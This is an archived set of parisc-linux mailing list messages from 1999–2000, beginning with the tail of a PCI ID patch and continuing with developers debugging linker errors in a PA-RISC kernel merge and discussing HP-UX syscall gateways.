+	000e  87560 Legacy I/O
 	000f  OHCI Compliant FireWire Controller
 	0011  National PCI System I/O
 	0012  USB Controller
-	d001  87410
+	d001  87410 IDE
 100c  Tseng Labs Inc
 	3202  ET4000/W32p rev A
 	3205  ET4000/W32p rev B
diff -urN linux-2.4.0-test1/include/linux/pci_ids.h linux-ggg/include/linux/pci_ids.h
--- linux-2.4.0-test1/include/linux/pci_ids.h	Wed May 24 08:29:47 2000
+++ linux-ggg/include/linux/pci_ids.h	Fri May 26 14:09:57 2000
@@ -190,6 +190,8 @@
 
 #define PCI_VENDOR_ID_NS		0x100b
 #define PCI_DEVICE_ID_NS_87415		0x0002
+#define PCI_DEVICE_ID_NS_87560_LIO      0x000e
+#define PCI_DEVICE_ID_NS_87560_USB      0x0012
 #define PCI_DEVICE_ID_NS_87410		0xd001
 
 #define PCI_VENDOR_ID_TSENG		0x100c


From - Thu Nov 08 21:12:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] -pre9 patch for PCI
Date: Sat, 27 May 2000 00:06:20 +0100 (BST)
Lines: 10
Approved: news@gmane.org
Message-ID: <E12vTBN-0002Qx-00@the-village.bc.nu>
References: <200005262142.OAA09514@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618935 403 80.91.229.3 (22 Nov 2014 01:15:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:35 +0000 (UTC)
Cc: mj@ucw.cz, alan@lxorguk.ukuu.org.uk (Alan Cox),
        linux-kernel@vger.rutgers.edu, parisc-linux@thepuffingroup.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: alan@lxorguk.ukuu.org.uk  Fri May 26 17:09:00 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA23368
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 May 2000 17:09:00 -0600
Original-Received: (qmail 24772 invoked by uid 15267); 26 May 2000 23:09:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24762 invoked from network); 26 May 2000 23:09:20 -0000
Original-Received: from lightning.swansea.uk.linux.org (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 26 May 2000 23:09:20 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 12vTBN-0002Qx-00; Sat, 27 May 2000 00:06:21 +0100
In-Reply-To: <200005262142.OAA09514@milano.cup.hp.com> from "Grant Grundler" at May 26, 2000 02:42:17 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:7345

> My bad.  I'm tired, had to leave to a funeral, and accidentally sent

Commiserations

> apologies again,

None needed

Alan


From - Thu Nov 08 21:12:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [MERGE] -pre8 merge status
Date: Fri, 26 May 2000 16:26:35 -0700 (PDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <200005262326.QAA09671@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618936 405 80.91.229.3 (22 Nov 2014 01:15:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:36 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Fri May 26 17:25:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA23772
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 May 2000 17:25:24 -0600
Original-Received: (qmail 1429 invoked by uid 15267); 26 May 2000 23:25:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1422 invoked from network); 26 May 2000 23:25:45 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 26 May 2000 23:25:45 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel1.hp.com (Postfix) with ESMTP id 85BFF3DC
	for <parisc-linux@thepuffingroup.com>; Fri, 26 May 2000 19:25:44 -0400 (EDT)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_17190)/8.7.3 TIS 5.0.1) id QAA09671 for parisc-linux@thepuffingroup.com; Fri, 26 May 2000 16:26:35 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7346

Hi all,
kernel now compiles with default .config but dies in the linker with:

hppa1.1-linux-ld  -T /linux/grundler/linux-2.3/arch/parisc/vmlinux.lds  arch/parisc/real/head.o  init/main.o init/version.o \
        --start-group \
        arch/parisc/kernel/pdc_cons.o arch/parisc/kernel/process.o arch/parisc/real/real.o /linux/grundler/linux-2.3/arch/parisc/lib/lib.a arch/parisc/mm/mm.o arch/parisc/kernel/kernel.o arch/parisc/hpux/hpux.o kernel/kernel.o mm/mm.o fs/fs.o ipc/ipc.o arch/parisc/kernel/init_task.o \
        drivers/block/block.a drivers/char/char.o drivers/net/net.o  drivers/pci/pci.a drivers/gsc/gsc.a \
        net/network.a \
        /linux/grundler/linux-2.3/arch/parisc/lib/lib.a /linux/grundler/linux-2.3/lib/lib.a  \
        --end-group \
        -o vmlinux
mm/mm.o: In function `L1575':
mm/mm.o(.text+0x15ec): undefined reference to `clear_user_page'
fs/fs.o: In function `set_fs_altroot':
fs/fs.o(.text+0x11a98): undefined reference to `__emul_prefix'
fs/fs.o: In function `L1184':
fs/fs.o(.text.init+0x18fc): undefined reference to `nfs_debug'
ipc/ipc.o: In function `L1833':
ipc/ipc.o(.text+0x7088): undefined reference to `clear_user_page'
net/network.a(sunrpc.o): In function `rpc_create_client':
sunrpc.o(.text+0x360): undefined reference to `rpc_debug'
make: *** [vmlinux] Error 1

Thanks to all who helped!

later,
grant


From - Thu Nov 08 21:12:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [MERGE] -pre8 merge status
Date: Fri, 26 May 2000 23:37:20 -0400
Lines: 29
Approved: news@gmane.org
Message-ID: <20000526233720.E31075@thepuffingroup.com>
References: <200005262326.QAA09671@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618936 408 80.91.229.3 (22 Nov 2014 01:15:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:36 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: willy@thepuffingroup.com  Fri May 26 20:39:12 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA25532
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 May 2000 20:39:11 -0600
Original-Received: (qmail 24498 invoked by uid 15267); 27 May 2000 02:39:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24491 invoked from network); 27 May 2000 02:39:32 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 27 May 2000 02:39:32 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id XAA07586;
	Fri, 26 May 2000 23:37:21 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <200005262326.QAA09671@milano.cup.hp.com>; from Grant Grundler on Fri, May 26, 2000 at 04:26:35PM -0700
Xref: news.gmane.org gmane.linux.ports.parisc:7347

On Fri, May 26, 2000 at 04:26:35PM -0700, Grant Grundler wrote:
> mm/mm.o: In function `L1575':
> mm/mm.o(.text+0x15ec): undefined reference to `clear_user_page'
> ipc/ipc.o: In function `L1833':
> ipc/ipc.o(.text+0x7088): undefined reference to `clear_user_page'

fixed.

> fs/fs.o: In function `set_fs_altroot':
> fs/fs.o(.text+0x11a98): undefined reference to `__emul_prefix'

fixed.

> fs/fs.o: In function `L1184':
> fs/fs.o(.text.init+0x18fc): undefined reference to `nfs_debug'
> net/network.a(sunrpc.o): In function `rpc_create_client':
> sunrpc.o(.text+0x360): undefined reference to `rpc_debug'

can't see why you're having trouble here.  those variables are defined in
net/sunrpc/sysctl.c.  is that file being built?  i'm getting a toolchain
up here so I can try to reproduce.  [Dead hard drives SUCK].

> make: *** [vmlinux] Error 1
> 
> Thanks to all who helped!

Yes, thanks to everyone!  I'd prefer if people still didn't commit until
we lay down a tag signifying end-of-merge.


From - Thu Nov 08 21:12:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [MERGE] -pre8 merge status
Date: Fri, 26 May 2000 20:45:22 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20000526204522.B24675@puffin.external.hp.com>
References: <200005262326.QAA09671@milano.cup.hp.com> <20000526233720.E31075@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618936 412 80.91.229.3 (22 Nov 2014 01:15:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:36 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com, Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@puffin.external.hp.com  Fri May 26 20:45:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA25706
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 May 2000 20:45:24 -0600
Original-Received: (qmail 27439 invoked by uid 15267); 27 May 2000 02:45:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 27416 invoked from network); 27 May 2000 02:45:45 -0000
Original-Received: from puffin.external.hp.com (192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 27 May 2000 02:45:45 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id UAA25702;
	Fri, 26 May 2000 20:45:22 -0600
X-Mailer: Mutt 0.93.2
In-Reply-To: <20000526233720.E31075@thepuffingroup.com>; from willy@thepuffingroup.com on Fri, May 26, 2000 at 11:37:20PM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7348

> > fs/fs.o: In function `L1184':
> > fs/fs.o(.text.init+0x18fc): undefined reference to `nfs_debug'
> > net/network.a(sunrpc.o): In function `rpc_create_client':
> > sunrpc.o(.text+0x360): undefined reference to `rpc_debug'
> 
> can't see why you're having trouble here.  those variables are defined in
> net/sunrpc/sysctl.c.  is that file being built?  i'm getting a toolchain
> up here so I can try to reproduce.  [Dead hard drives SUCK].

grant: did you have CONFIG_SYSCTL set ?  if you didn't, that might
explain your problems.


From - Thu Nov 08 21:12:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [MERGE] -pre8 merge status
Date: Fri, 26 May 2000 20:54:33 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20000526205433.C24675@puffin.external.hp.com>
References: <200005262326.QAA09671@milano.cup.hp.com> <20000526233720.E31075@thepuffingroup.com> <20000526204522.B24675@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618936 417 80.91.229.3 (22 Nov 2014 01:15:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:36 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com, Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@puffin.external.hp.com  Fri May 26 20:54:37 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA25834
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 May 2000 20:54:37 -0600
Original-Received: (qmail 31437 invoked by uid 15267); 27 May 2000 02:54:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31417 invoked from network); 27 May 2000 02:54:57 -0000
Original-Received: from puffin.external.hp.com (root@192.25.206.4)
  by mailserv2.iuinc.com with SMTP; 27 May 2000 02:54:57 -0000
Original-Received: (from prumpf@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id UAA25829;
	Fri, 26 May 2000 20:54:33 -0600
X-Mailer: Mutt 0.93.2
In-Reply-To: <20000526204522.B24675@puffin.external.hp.com>; from Philipp Rumpf on Fri, May 26, 2000 at 08:45:22PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7349

> grant: did you have CONFIG_SYSCTL set ?  if you didn't, that might
> explain your problems.

Okay, by the look of things RPC_DEBUG doesn't make sense if you don't
have CONFIG_SYSCTL too.  RPC_DEBUG always gets defined in current 2.3
versions, and presumably will be undefined in a stable kernel version.

I wouldn't really consider this a bug, but if anyone does he should
probably report it to whoever is working on that code in 2.3.

	Philipp Rumpf


From - Thu Nov 08 21:12:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [MERGE] -pre8 merge status
Date: Sat, 27 May 2000 00:08:05 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20000527000805.G31075@thepuffingroup.com>
References: <200005262326.QAA09671@milano.cup.hp.com> <20000526233720.E31075@thepuffingroup.com> <20000526204522.B24675@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618937 418 80.91.229.3 (22 Nov 2014 01:15:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:37 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@puffin.external.hp.com>
Original-X-From: willy@thepuffingroup.com  Fri May 26 21:10:52 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA26050
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 May 2000 21:10:52 -0600
Original-Received: (qmail 5919 invoked by uid 15267); 27 May 2000 03:11:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5912 invoked from network); 27 May 2000 03:11:12 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 27 May 2000 03:11:12 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id AAA08449;
	Sat, 27 May 2000 00:08:05 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000526204522.B24675@puffin.external.hp.com>; from Philipp Rumpf on Fri, May 26, 2000 at 08:45:22PM -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7350

On Fri, May 26, 2000 at 08:45:22PM -0600, Philipp Rumpf wrote:
> > > fs/fs.o: In function `L1184':
> > > fs/fs.o(.text.init+0x18fc): undefined reference to `nfs_debug'
> > > net/network.a(sunrpc.o): In function `rpc_create_client':
> > > sunrpc.o(.text+0x360): undefined reference to `rpc_debug'
> > 
> > can't see why you're having trouble here.  those variables are defined in
> > net/sunrpc/sysctl.c.  is that file being built?  i'm getting a toolchain
> > up here so I can try to reproduce.  [Dead hard drives SUCK].
> 
> grant: did you have CONFIG_SYSCTL set ?  if you didn't, that might
> explain your problems.

I think that's the case.  It's disabled by default if you make oldconfig,
so I'll commit a new defconfig which has it enabled (and has some of
the new options predefined).

I'm hitting an undefined __shrdiv3 (or something... lost that error
message, but it's one of those gcc-wants-64-bit-ops symbols).


From - Thu Nov 08 21:12:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: willy@thepuffingroup.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [MERGE] -pre8 merge status
Date: Sat, 27 May 2000 00:56:46 -0400
Lines: 32
Approved: news@gmane.org
Message-ID: <20000527005646.H31075@thepuffingroup.com>
References: <200005262326.QAA09671@milano.cup.hp.com> <20000526233720.E31075@thepuffingroup.com> <20000526204522.B24675@puffin.external.hp.com> <20000527000805.G31075@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618937 419 80.91.229.3 (22 Nov 2014 01:15:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:37 +0000 (UTC)
Cc: Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: Philipp Rumpf <prumpf@puffin.external.hp.com>
Original-X-From: willy@thepuffingroup.com  Fri May 26 21:59:30 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA26462
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 May 2000 21:59:29 -0600
Original-Received: (qmail 24329 invoked by uid 15267); 27 May 2000 03:59:51 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24322 invoked from network); 27 May 2000 03:59:50 -0000
Original-Received: from unknown (HELO gin.ext.thepuffingroup.com) (216.208.98.3)
  by mailserv2.iuinc.com with SMTP; 27 May 2000 03:59:50 -0000
Original-Received: (from willy@localhost)
	by gin.ext.thepuffingroup.com (8.9.3/8.9.3) id AAA09794;
	Sat, 27 May 2000 00:56:46 -0400
X-Mailer: Mutt 0.95.4us
In-Reply-To: <20000527000805.G31075@thepuffingroup.com>; from willy@thepuffingroup.com on Sat, May 27, 2000 at 12:08:05AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:7351

On Sat, May 27, 2000 at 12:08:05AM -0400, willy@thepuffingroup.com wrote:
> On Fri, May 26, 2000 at 08:45:22PM -0600, Philipp Rumpf wrote:
> > > > fs/fs.o: In function `L1184':
> > > > fs/fs.o(.text.init+0x18fc): undefined reference to `nfs_debug'
> > > > net/network.a(sunrpc.o): In function `rpc_create_client':
> > > > sunrpc.o(.text+0x360): undefined reference to `rpc_debug'
> > > 
> > > can't see why you're having trouble here.  those variables are defined in
> > > net/sunrpc/sysctl.c.  is that file being built?  i'm getting a toolchain
> > > up here so I can try to reproduce.  [Dead hard drives SUCK].
> > 
> > grant: did you have CONFIG_SYSCTL set ?  if you didn't, that might
> > explain your problems.
> 
> I think that's the case.  It's disabled by default if you make oldconfig,
> so I'll commit a new defconfig which has it enabled (and has some of
> the new options predefined).

Um.  That's definitely bad since then we don't have a sysrq_enabled definition.
(it's in drivers/char/keyboard.c which we don't use).  But now I've changed
it to `N', make dep, make clean, make vmlinux and I don't get those undefined
symbols.  Curioser and curioser.  My .config was generated from `make oldconfig'
with just hitting return for new options (ie answering `no').

> I'm hitting an undefined __shrdiv3 (or something... lost that error
> message, but it's one of those gcc-wants-64-bit-ops symbols).

__lshrdi3.  It's referenced from fs/nfs/inode.c.  I'm damned if I can
see where though (and I went through the gcc -E output trying to spot it.)
Does someone want to copy that from libgcc?  I'm going to lay down a tag
for end-of-merge now since I'm headed off for the weekend.


From - Thu Nov 08 21:12:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Gateway instructions
Date: Thu, 18 Mar 1999 17:38:28 -0800
Lines: 27
Approved: news@gmane.org
Message-ID: <199903190135.RAA15176@cllmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416618937 423 80.91.229.3 (22 Nov 2014 01:15:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:37 +0000 (UTC)
To: <hppa-linux@thepuffingroup.com>
Original-X-From: cary@cup.hp.com  Thu Mar 18 20:35:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id UAA03393
	for <hppa-linux@sod.res.cmu.edu>; Thu, 18 Mar 1999 20:35:30 -0500
Original-Received: (qmail 27087 invoked by uid 15267); 19 Mar 1999 01:34:40 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 27080 invoked from network); 19 Mar 1999 01:34:40 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 19 Mar 1999 01:34:40 -0000
Original-Received: from cllmail.cup.hp.com (cllmail.cup.hp.com [15.28.98.139])
	by atlrel2.hp.com (8.8.6 (PHNE_14041)/8.8.5tis) with ESMTP id UAA24155
	for <hppa-linux@thepuffingroup.com>; Thu, 18 Mar 1999 20:34:57 -0500 (EST)
Original-Received: from [15.0.97.82] (cc757591.cup.hp.com [15.0.97.82]) by cllmail.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id RAA15176 for <hppa-linux@thepuffingroup.com>; Thu, 18 Mar 1999 17:35:09 -0800 (PST)
x-sender: cary@cllmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:7352

>OK, so you don't have a spot on the page for each syscall?  I was
>thinking that we'd want to do that, since we're going to use the whole
>page anyway and it would make things a little quicker by eliminating the
>later dispatch-by-syscall step.

There's a fair amount of setup code common to all syscalls before the 
dispatch to individual kernel entry points, and there are a lot of 
syscalls in HP-UX, so we use a single gateway.

For the 64-bit ABI, the gateway address is not hardcoded; when the 
program is loaded, the kernel passes it the address of a syscall vector 
table, which has one pointer per syscall. Most of the syscalls still 
vector to the one common gateway, but the lightweight syscalls can now be 
vectored off to a special gateway that has less overhead.

The 32-bit syscall convention is documented in (of all places) the 
Assembler manual; the 64-bit convention is documented in the PA-64 
runtime supplement (program startup chapter). These documents are 
available from

    http://www.software.hp.com/STK


Cary Coutant
Hewlett-Packard Co.
Application Delivery Lab


From - Thu Nov 08 21:12:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [MERGE] -pre8 merge status
Date: Sat, 27 May 2000 14:14:52 +1000 (EST)
Lines: 11
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0005271412460.31822-100000@front.linuxcare.com.au>
References: <20000527005646.H31075@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618938 424 80.91.229.3 (22 Nov 2014 01:15:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:38 +0000 (UTC)
Cc: Philipp Rumpf <prumpf@puffin.external.hp.com>,
        Grant Grundler <grundler@cup.hp.com>, parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: alan@linuxcare.com.au  Fri May 26 22:14:38 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA26789
	for <parisc-linux@puffin.external.hp.com>; Fri, 26 May 2000 22:14:38 -0600
Original-Received: (qmail 30097 invoked by uid 15267); 27 May 2000 04:14:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 30072 invoked from network); 27 May 2000 04:14:57 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 27 May 2000 04:14:57 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA04785;
	Sat, 27 May 2000 14:14:52 +1000
In-Reply-To: <20000527005646.H31075@thepuffingroup.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7353

On Sat, 27 May 2000 willy@thepuffingroup.com wrote:

> __lshrdi3.  It's referenced from fs/nfs/inode.c.  I'm damned if I can
> see where though (and I went through the gcc -E output trying to spot it.)

You won't spot it that way.  You need to look at the output of gcc -S.
It's likely from some long long arithmetic somewhere.

-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:12:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [MERGE] -pre8 merge status
Date: Sat, 27 May 2000 11:31:08 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200005271531.LAA08195@hiauly1.hia.nrc.ca>
References: <20000527005646.H31075@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618938 429 80.91.229.3 (22 Nov 2014 01:15:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:15:38 +0000 (UTC)
Cc: prumpf@puffin.external.hp.com, grundler@cup.hp.com,
        parisc-linux@thepuffingroup.com
To: willy@thepuffingroup.com
Original-X-From: dave@hiauly1.hia.nrc.ca  Sat May 27 09:30:58 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA32038
	for <parisc-linux@puffin.external.hp.com>; Sat, 27 May 2000 09:30:57 -0600
Original-Received: (qmail 22945 invoked by uid 15267); 27 May 2000 15:31:19 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22932 invoked from network); 27 May 2000 15:31:19 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 27 May 2000 15:31:19 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id LAA08195;
	Sat, 27 May 2000 11:31:09 -0400 (EDT)
In-Reply-To: <20000527005646.H31075@thepuffingroup.com> from "willy@thepuffingroup.com" at May 27, 2000 00:56:46 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:7354

> __lshrdi3.  It's referenced from fs/nfs/inode.c.  I'm damned if I can
> see where though (and I went through the gcc -E output trying to spot it.)
> Does someone want to copy that from libgcc?  I'm going to lay down a tag
> for end-of-merge now since I'm headed off for the weekend.

__lshrdi3 should be in libgcc.a.  It's in mine.  If it is not there, you
have a problem building your (cross-)compiler.  If it is, check the link
by adding "-v" to the gcc link operation to see why libgcc.a is not being
linked into the object.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:12:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [MERGE] -pre8 merge status
Date: Sat, 27 May 2000 11:56:29 -0600
Lines: 48
